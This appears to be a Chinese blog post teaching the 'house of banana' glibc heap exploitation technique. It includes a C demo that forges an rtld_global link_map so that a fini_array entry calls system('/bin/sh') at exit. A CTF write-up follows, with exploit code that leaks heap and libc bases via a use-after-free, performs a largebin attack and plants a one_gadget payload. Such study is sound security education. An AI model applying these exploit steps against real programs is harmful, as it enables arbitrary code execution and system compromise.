house of banana
条件:
1.任意地址写一个堆地址
2.触发exit函数
3.能泄露堆地址和基地址
原理:
伪造 fini_array 赋值用到的结构体 从而控制程序exit时的程序执行流
ld.so 中存在 _rtld_global指针,指向 rtld_global结构体 ,里面有 _dl_ns 结构体 ,这个结构体里面存储的是elf隔断的符号结构体, fini_array段 的结构体在 _dl_fini中被使用 ,伪造该结构体指针,可以使得array指向我们可控的数据区,从而布置下一系列函数,进而劫持程序的流,house of banana的思想就是利用large bin attack往rtld_global写入堆的地址,并事先在堆里伪造好rtld_global结构体,这样程序exit或者正常退出main函数时,便会执行到伪造的fini_array数组。
demo
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
void shell()
{
system("/bin/sh");
}
uint64_t getLibcBase()
{
uint64_t to;
uint64_t from;
char buf[0x400];
FILE* file;
sprintf(buf, "/proc/%d/maps",(int)getpid());
file = fopen(buf, "r");
while(fgets(buf, sizeof(buf), file))
{
if(strstr(buf,"libc")!=NULL)
{
sscanf(buf, "%lx-%lx", &from, &to);
fclose(file);
return from;
}
}
}
int main(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
uint64_t libcBase = getLibcBase();
uint64_t rtld_global = libcBase+0x23d060;
uint64_t* next_node = (uint64_t*)(rtld_global-0x4b048);
uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
uint64_t *g1 = malloc(0x18);
uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
uint64_t *g2 = malloc(0x18);
uint64_t fake = (uint64_t)p2-0x10;
*(uint64_t*)(fake+0x28) = fake;
*(uint64_t*)(fake+0x31c) = 0x1c;
*(uint64_t*)(fake+0x110) = fake+0x40;
*(uint64_t*)(fake+0x48) = fake+0x58;
*(uint64_t*)(fake+0x58) = (uint64_t)shell;
*(uint64_t*)(fake+0x120) = fake+0x48;
*(uint64_t*)(fake+0x50) = 0x8;
printf("libcBase is 0x%lx\n",libcBase);
printf("rtld_global is 0x%lx\n",rtld_global);
free(p1);
uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
free(p2);
p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin
p2[1] = 0;
p2[3] = fake;
return 0;
}
largebinattack基本流程
2.31的libc
uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
uint64_t *g1 = malloc(0x18);
uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
uint64_t *g2 = malloc(0x18);
uint64_t fake = (uint64_t)p2-0x10;
让p1进入largebinattack ,再让p2进入unsortedbin,修改p1的fd_nextsize指针,触发largebinattack,然后把p2地址写入next_node之中
free(p1);
uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
free(p2);
p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin
接下来就是布置link_mmap结构体
*(uint64_t*)(fake+0x28) = fake;
*(uint64_t*)(fake+0x31c) = 0x1c;
*(uint64_t*)(fake+0x110) = fake+0x40;
*(uint64_t*)(fake+0x48) = fake+0x58;
*(uint64_t*)(fake+0x58) = (uint64_t)shell;
*(uint64_t*)(fake+0x120) = fake+0x48;
*(uint64_t*)(fake+0x50) = 0x8;
例题
上周打的邑网杯决赛,线下有一个题目刚好是uaf的,largebin attack
漏洞分析
add函数
申请0x420-0x550堆块,堆块size错误会触发exit函数
delete函数
存在uaf漏洞
show功能正常
edit函数也能正常使用,delete没有清空size
思路:泄露堆地址和基地址之后,触发largebinattack往next_node写入堆地址,再利用uaf往堆地址中伪造结构体,最后输入错误size触发exit函数
泄露堆和基地址
add(0,0x520)
add(1,0x508)
add(2,0x510)
add(3,0x500)
free(0)
free(2)
show(2)
heap_base = h64() - 0x290
add(4,0x510)# 2&4 unsortedbin
free(2)
show(0)# largebin
libc_base = l64() - 0x1ed010
接下来又是熟悉的largebin attack环节
payload = p64(libc_base+ 0x1ed010)*2+p64(heap_base+0x290)+p64(next_node-0x20)
edit(0, payload)
add(5,0x550)# 2&4 into largebin & largebin attack
往next_node中写入堆地址
接下来就是往heap中布置结构体了
og=libc_base+0xe3afe
heap2_addr=heap_base+0xcd0
fake_addr=heap2_addr
pl = p64(0)*3 + p64(fake_addr)
pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(og)
pl = pl.ljust(0x100,b'\x00')+p64(fake_addr+0x40)
pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48)
pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314
edit(2,pl)
触发exit()
sla(b'>> ', b'1')
sla(b'much?\n', str(0x10))
house of banana的更多相关文章
- 再探banana
在Solr图形化界面:除Hue之外的选择中列出了banana的如下一些不足,今天再次研究这些地方是否有方案可以解决. 1.sunburst图功能没法用. 2.中文有些地方会显示%2B%4C之类的一串字 ...
- Solr图形化界面banana:除Hue之外的选择
最近Hue+Solr 方案原型验证有了一些进展.正好也收到了Google的大数据专家Sam的来件询问进展,我答复如下: Sam, 你好. 已经把Kafka+flume+solr的实时索引搭建起来了, ...
- hdu 1069 Monkey and Banana
Monkey and Banana Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others ...
- 杭电oj 1069 Monkey and Banana 最长递增子序列
Monkey and Banana Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)To ...
- HDU 1069---背包---Monkey and Banana
HDU 1069 Description A group of researchers are designing an experiment to test the IQ of a monkey. ...
- HDU 1069 Monkey and Banana(二维偏序LIS的应用)
---恢复内容开始--- Monkey and Banana Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K ...
- ACM-经典DP之Monkey and Banana——hdu1069
***************************************转载请注明出处:http://blog.csdn.net/lttree************************** ...
- HDU 1069 Monkey and Banana (DP)
Monkey and Banana Time Limit:1000MS Memory Limit:32768KB 64bit IO Format:%I64d & %I64u S ...
- HDU 1069 Monkey and Banana(动态规划)
Monkey and Banana Problem Description A group of researchers are designing an experiment to test the ...
- (LightOJ 1004) Monkey Banana Problem 简单dp
You are in the world of mathematics to solve the great "Monkey Banana Problem". It states ...
随机推荐
- Long Way to be Non-decreasing 题解
前言 题目链接:洛谷:CF. 题意简述 yzh 喜欢单调不降序列. 她有一个序列 \(a\),最初为 \(a_1, \ldots, a_n\),其中每个元素都在 \([1, m]\) 内. 她希望使序 ...
- 手把手教你实现Scrapy-Redis分布式爬虫:从配置到最终运行的实战指南
## 1.scrapy-redis的环境准备 pip install scrapy-redis 安装完毕之后确保其可以正常导入使用即可. 2. 实现 接下来我们只需要简单的几步操作就可以实现分布式爬虫 ...
- 如何让您的 .NET应用程序更智能-- 请参加 8.20 的 .NET Conf -- Focus on AI
Microsoft 将于 2024 年 8 月 20 日举办免费的 .NET Conf: Focus on AI.该虚拟活动为开发人员提供了如何集成 .NET 和 AI 以增强应用程序开发和用户体验的 ...
- 几款能容易使用的AI绘画工具
首先介绍一款软件叫做Discord,这是一个非常火爆的社交软件,目前市面上有很多ai绘画工具都可以在在其对应的社区上运行. Discord | 玩耍聊天的地方这个网站可以访问Discord网页版,也可 ...
- 瑞芯微|如何让拥有双网口的Linux设备实现数据包转发?【超实用】
本文主要讲解如何,解决基于3568实现双网口互通问题. 一.组网 如下图所示: rk3568自带2个千兆以太口,对应网卡名称为:eth0.eth1 pc1和pc2分别连接这2个网口 pc1与eth0连 ...
- 关于EF延时加载的面试题
public async Task<ActionResult> GetData() { var data = (from leftdata in GetLeft() join rightd ...
- 处理报错 ResizeObserver loop completed with undelivered notifications.
// 处理报错 ResizeObserver loop completed with undelivered notifications. export const handlerResizeObse ...
- 爬虫案例1-爬取图片的三种方式之一:selenium篇(2)
@ 目录 前言 selenium简介 实战 共勉 ps 博客 前言 继使用requests库爬取图片后,本文使用python第三方库selenium来进行图片的爬取,后续也会使用同样是自动化测试工具D ...
- Google Maps Embed API & JavaScript API
前言 很多年前写过一篇 Google Map 谷歌地图, 这篇算是翻新版本. Google Map Registration Google Maps Platform 是整个 Google Map 的 ...
- JavaScript – Set and Map
参考 Set 和 Map 数据结构 Set 介绍和使用 Set 很像 Array, 但其实它是一个 Iteralbe 对象. 用于保存多个值, 而且具有 unique 特性 (1 个 set 里面不会 ...